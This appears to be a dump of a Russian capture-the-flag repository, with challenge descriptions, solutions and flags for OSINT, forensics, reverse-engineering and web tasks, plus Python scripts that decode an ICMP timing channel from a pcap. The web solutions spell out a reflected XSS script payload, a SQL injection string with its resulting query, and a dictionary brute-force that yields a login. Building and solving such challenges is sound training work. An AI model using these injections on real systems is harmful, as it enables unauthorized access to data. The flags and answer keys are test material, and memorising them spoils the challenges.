Сделать поиск по фото с найденными в метаданных именем автора. Поиск с метаданными выдает сразу ссылку на исходный сайт, на 3й странице автора есть нужное фото (https://www.flickr.com/photos/140377809@N05/53158389395/), открываем, смотрим описание, переходим на карту и берем координаты из ссылки (https://www.flickr.com/map/?fLat=55.921315&fLon=36.845055&zl=13&everyone_nearby=1&photo=53158389395).
## Флаг
caplag{55.921,36.845}

View File

@@ -0,0 +1,14 @@
## Информация для участников
> Мы обнаружили в сети подозрительный трафик. Наши специалисты не смогли выяснить его источник и содержание. Помогите разобраться, что он означает.
## Выдать участникам
public/task.pcapng
## Решение
solve/show_clusters.py - показать кластеры. Скрипт для наглядности
solve/extract_flag.py - решение
## Флаг
`caplag{1cmp_T1M1ng_3xf1ltrat10n_1s_FuN}`

View File

@@ -0,0 +1,62 @@
#!/usr/bin/env python3
"""
Decode the flag from the timing-based ICMP channel in public/task.pcapng.
Requires scapy: pip install scapy
"""
from scapy.all import rdpcap, IP, ICMP # type: ignore
import sys
from typing import Iterable, List
TARGET_IP = "192.168.13.37"
ZERO_DELAY = 1.2
ONE_DELAY = 1.6
TOLERANCE = 0.08 # Acceptable drift around each delay marker
def load_icmp_times(pcap_path: str) -> List[float]:
packets = rdpcap(pcap_path)
icmp_flow = [
pkt
for pkt in packets
if IP in pkt
and ICMP in pkt
and (pkt[IP].src == TARGET_IP or pkt[IP].dst == TARGET_IP)
]
icmp_flow.sort(key=lambda p: float(p.time))
return [float(pkt.time) for pkt in icmp_flow]
def as_deltas(times: List[float]) -> List[float]:
return [cur - prev for prev, cur in zip(times, times[1:])]
def decode_bits(deltas: Iterable[float]) -> str:
bits = []
for dt in deltas:
if abs(dt - ZERO_DELAY) <= TOLERANCE:
bits.append("0")
elif abs(dt - ONE_DELAY) <= TOLERANCE:
bits.append("1")
return "".join(bits)
def bits_to_ascii(bits: str) -> str:
# Drop trailing bits if not a whole byte
usable_len = len(bits) - (len(bits) % 8)
out = []
for i in range(0, usable_len, 8):
out.append(chr(int(bits[i : i + 8], 2)))
return "".join(out)
def main() -> None:
pcap_path = sys.argv[1] if len(sys.argv) > 1 else "../public/task.pcapng"
times = load_icmp_times(pcap_path)
bitstring = decode_bits(as_deltas(times))
plaintext = bits_to_ascii(bitstring)
print(plaintext)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,55 @@
#!/usr/bin/env python3
"""
Quick delta clustering to show the two timing buckets that encode 0 and 1.
Requires scapy: pip install scapy
"""
from collections import Counter
import math
import sys
from typing import List
from scapy.all import rdpcap, IP, ICMP # type: ignore
TARGET_IP = "192.168.13.37"
BIN_WIDTH = 0.05 # Seconds
def load_icmp_times(pcap_path: str) -> List[float]:
packets = rdpcap(pcap_path)
icmp_flow = [
pkt
for pkt in packets
if IP in pkt
and ICMP in pkt
and (pkt[IP].src == TARGET_IP or pkt[IP].dst == TARGET_IP)
]
icmp_flow.sort(key=lambda p: float(p.time))
return [float(pkt.time) for pkt in icmp_flow]
def as_deltas(times: List[float]) -> List[float]:
return [cur - prev for prev, cur in zip(times, times[1:])]
def bin_value(value: float) -> float:
return round(math.floor(value / BIN_WIDTH) * BIN_WIDTH, 2)
def main() -> None:
pcap_path = sys.argv[1] if len(sys.argv) > 1 else "../public/task.pcapng"
deltas = as_deltas(load_icmp_times(pcap_path))
histogram = Counter(bin_value(dt) for dt in deltas)
print("Top timing buckets (bin width {:.2f}s):".format(BIN_WIDTH))
for bucket, count in sorted(histogram.items(), key=lambda item: (-item[1], item[0]))[:20]:
print(f"{bucket:>4.2f} s -> {count}")
for center, label in ((1.2, "0"), (1.6, "1")):
window = [dt for dt in deltas if abs(dt - center) <= 0.1]
if window:
avg = sum(window) / len(window)
print(f"Near {center:.2f}s (bit {label}) count={len(window)} avg={avg:.4f}")
if __name__ == "__main__":
main()

8
echoCity-web/README.md Normal file
View File

@@ -0,0 +1,8 @@
## Информация для участников
В Академии Знаний есть доска объявлений, где студенты и преподаватели оставляют заметки. Но у вторых есть свои секреты...
## Флаг
`caplag{3ch0_w3b_3@sy}`

View File

@@ -0,0 +1,15 @@
# Инструкции
1. Перейдите по адресу `http://<ip>:<port>/`.
2. Пользователь вводит в поле сообщение и оно отобразиться снизу.
3. Пользователь проводит Reflected XSS атаку, на клиентской части отрабатывает слушатель wasm.
## Ответы
```html
<script>(любой скрипт в качестве полезной нагрузки, важно указать тег script)<script>
```
## Вид уязвимости
Reflected XSS (неэкранированный вывод в ответе)

8
magicNotes-web/README.md Normal file
View File

@@ -0,0 +1,8 @@
## Информация для участников
Вы — инженер, прибывший в таинственный город Эхо. Здесь все слова отзываются эхом. Но что, если в городе не существует правил?
## Флаг
`caplag{hidd3n_arcana_fl@g}`

View File

@@ -0,0 +1,33 @@
# Инструкции
1. Перейдите по адресу `http://<ip>:<port>/`.
2. Пользователь запускает brute-force атаку (например, через BurpSuite) по словарю rockyou.txt с гитхаба или с Кали Линукс (подскаска с именем пользователя есть в консоле браузера)
3. Пользователь получает доступ и вводит в поле поиска заметок текст, она отправляется на сервер и обрабатывается.
4. Пользователь через неё или по пути `http://<ip>:<port>/api/search?q=<query>` проводит атаку "SQL-инъекция", которая вытянет сразу все записи, включая секрет преподавателя.
## Ответы
Логин: harry
Пароль: harrypotter
Инъекция: '=='')--
## Вид уязвимости
Задача предполагает наличие SQL-инъекции в поиске по заметкам. Обычно пользователи видят только публичные заметки (`is_secret = false`), но через SQL-инъекцию можно получить доступ ко всем записям, включая секретную заметку с флагом.
### Примеры SQL-инъекций
```sql
-- Обычный запрос
SELECT id, title, content, created_at, author_id FROM notes
WHERE ('%поиск%' = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
ORDER BY created_at DESC
-- Инъекция для получения всех записей
'=='')--
-- Результирующий запрос:
SELECT id, title, content, created_at, author_id FROM notes
WHERE (''=='')-- = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
ORDER BY created_at DESC
```

View File

@@ -0,0 +1,11 @@
## Информация для участников
> Предки его правили городом Стритеж в Чехии и прожил он аж 100 лет. А где он сейчас? Ну точно где-то в Австрии. Формат флага caplag{Группа/Ряд/Номер/Право пользования до}
## Решение
Ищем на Чешском языке город и титул (von Střítež). Одна из первых ссылок этот мужик (https://www.kopice.org/hubert-wladimir-deym-von-stritez). Далее находим сайт учёта захороненных в Австрии, https://www.friedhoefewien.at/ , там его ищем.
## Подсказка
> Hint: жизнь его кстати закончилась в городе Udine.
## Флаг
`caplag{11/9/12/10.09.2034}`

View File

@@ -0,0 +1,14 @@
## Информация для участников
Кто-то изучал алгоритмы битового сложения и оставил это консольную утилиту.
Найдите флаг.
## Выдать участникам
Приложение для участников: public\crypto_task_01.exe
## Решение
Необходимо открыть бинарник (rust, x64) в дизассемблере, поддерживающим отладку, и считать оттуда флаг либо в отладчике (см. приложенное видео - значения появляются в регистре rcx), либо написав аналогичный по функциональности скрипт, например, на питоне.
## Флаг
`caplag{41D8D934-1140-479D-BBCB-A713DE70AB5C}`

Binary file not shown.

View File

@@ -0,0 +1,13 @@
## Информация для участников
> Вот это интересное место! Тут точно тренируются военные, даже танки тут видели. Формат флага caplag{Координаты через пробел}
## Выдать участнкам
public/task.png
## Решение
Ищем на https://wikimapia.org/ tank training range. Их немного, перебираем все которые в пустынях, находим:
https://wikimapia.org/#lang=en&lat=12.211180&lon=35.683594&z=3&m=w&tag=54289&show=/39368570/Combat-Vehicle-driving-range
## Флаг
`caplag{35°7'34"N -0°35'52"E}`

View File

@@ -0,0 +1,18 @@
## Информация для участников
Когда-то давно драйверы разрабатывали лишь избранные, а теперь этим занимается каждый 4-й школьник, а каждый 10-й из них не упускает шанса использовать там и криптографию.
Запускаются они далеко не всегда, и не слишком редко пользователи видят экраны смерти теперь уже разных цветов.
Найдите флаг.
## Выдать участникам
Архив для участников: public/crypto_app.zip
## Решение
Необходимо запустить приложение и загрузить драйвер, предварительно либо подписав его, либо отключив необходимость проверки подписи в операционной системе (bcdedit /set testsinging off с выключенным Secure Boot), либо установив пропатченный EFI bootloader для этого.
Флаг расшифровывается в памяти драйвера, затем обнуляется.
Через отладчик WinDBG или дизассемблеры Ghidra и IDA PRO, поддерживающие отладку, необходимо найти загруженный драйвер в памяти, затем функцию, которая производит вычисления (PerformSHA256Hash) и фрагмент кода, который расшифровывает флаг.
Примеры найденного флага через WinDBG screenshot_with_symbols.png, screenshot_without_symbols.png в папке solve.
## Флаг
`caplag{D4BAD93C-C4E14-704B5-842FE-321AD360D}`

Binary file not shown.

After

Width:  |  Height:  |  Size: 369 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 616 KiB